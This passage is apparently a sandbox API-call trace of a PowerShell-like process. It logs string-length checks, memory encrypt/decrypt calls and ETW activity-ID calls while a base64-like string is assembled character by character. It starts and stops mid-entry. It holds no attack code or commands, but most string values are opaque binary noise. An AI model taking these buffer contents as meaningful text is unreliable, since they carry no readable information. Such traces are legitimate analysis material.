(param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xac08\xd6c6\x1bf6\x3069\xb466\xf3a5\xd9fa\x92e3") returned 0x28 [0136.959] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xac08\xd6c6\x1bf6\x3069\xb466\xf3a5\xd9fa\x92e3") returned 0x28 [0136.959] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xac08\xd6c6\x1bf6\x3069\xb466\xf3a5\xd9fa\x92e3\x53\x77\x4a\x41\x46\x4a\x6a\x61") returned 0x30 [0136.959] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0136.960] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9n3Nj7jgos23qG霣⓪㈉剌ﺩõ") returned 0x30 [0136.960] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0136.960] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xac08\xd6c6\x1bf6\x3069\xb466\xf3a5\xd9fa\x92e3\x841d\xe525\x66ae\x89c1\x2b44\x31f7\x364c\x2df0") returned 0x30 [0136.960] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xac08\xd6c6\x1bf6\x3069\xb466\xf3a5\xd9fa\x92e3\x841d\xe525\x66ae\x89c1\x2b44\x31f7\x364c\x2df0") returned 0x30 [0136.960] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0136.960] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9n3Nj7jgos23qGc⓪㈉剌ﺩõ") returned 0x30 [0136.960] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0136.960] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xac08\xd6c6\x1bf6\x3069\xb466\xf3a5\xd9fa\x92e3\x7e54\x223d\x5eba\x5022\x45fb\xf346\xafa8\xde70") returned 0x30 [0136.960] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xac08\xd6c6\x1bf6\x3069\xb466\xf3a5\xd9fa\x92e3\x7e54\x223d\x5eba\x5022\x45fb\xf346\xafa8\xde70") returned 0x30 [0136.960] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0136.960] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9n3Nj7jgos23qGco㈉剌ﺩõ") returned 0x30 [0136.960] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0136.960] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xac08\xd6c6\x1bf6\x3069\xb466\xf3a5\xd9fa\x92e3\xdbae\x89f9\xb3d4\xeda3\xda9f\x9984\x364a\xd960") returned 0x30 [0136.960] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xac08\xd6c6\x1bf6\x3069\xb466\xf3a5\xd9fa\x92e3\xdbae\x89f9\xb3d4\xeda3\xda9f\x9984\x364a\xd960") returned 0x30 [0136.960] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0136.960] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9n3Nj7jgos23qGco=剌ﺩõ") returned 0x30 [0136.960] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0136.960] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.960] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.960] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.961] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0136.961] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.961] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.961] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.961] SysStringLen (param_1="") returned 0x8 [0136.961] SysStringLen (param_1="Y") returned 0x8 [0136.961] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.961] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0136.961] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0136.961] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.961] SysStringLen (param_1="YW") returned 0x8 [0136.961] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.961] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0136.961] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0136.961] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.961] SysStringLen (param_1="YWM") returned 0x8 [0136.961] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.961] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0136.961] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0136.961] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.962] SysStringLen (param_1="YWM1") returned 0x8 [0136.962] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.962] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0136.962] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0136.962] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.962] SysStringLen (param_1="YWM1O") returned 0x8 [0136.962] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.962] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0136.962] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0136.962] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.962] SysStringLen (param_1="YWM1OT") returned 0x8 [0136.962] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.962] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0136.962] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0136.962] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.962] SysStringLen (param_1="YWM1OTE") returned 0x8 [0136.962] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.962] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0136.962] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0136.962] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.962] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0136.962] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.963] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.963] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.963] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.963] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0136.963] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.963] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0136.963] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.963] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0136.963] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0136.963] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.963] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0136.963] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.963] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0136.963] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0136.963] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.963] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0136.963] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.963] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0136.963] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0136.963] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.963] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0136.963] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.964] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0136.964] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0136.964] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.964] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0136.964] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.964] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0136.964] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0136.964] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.964] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0136.964] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.964] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0136.964] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0136.964] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.964] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0136.964] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.964] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0136.964] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0136.964] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.964] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0136.964] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.964] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.964] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.964] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.965] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0136.965] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.965] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0136.965] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.965] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0136.965] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0136.965] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.965] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0136.965] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.965] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0136.965] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0136.965] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.965] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0136.965] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.965] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0136.965] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0136.965] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.965] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0136.965] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.965] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0136.965] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0136.965] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.965] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0136.965] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.966] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0136.966] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0136.966] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.966] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0136.966] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.966] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0136.966] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0136.966] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.966] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0136.966] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.966] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0136.966] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0136.966] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.966] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0136.966] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.966] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.966] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.966] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.966] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0136.966] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.966] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0136.966] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.967] SysStringLen 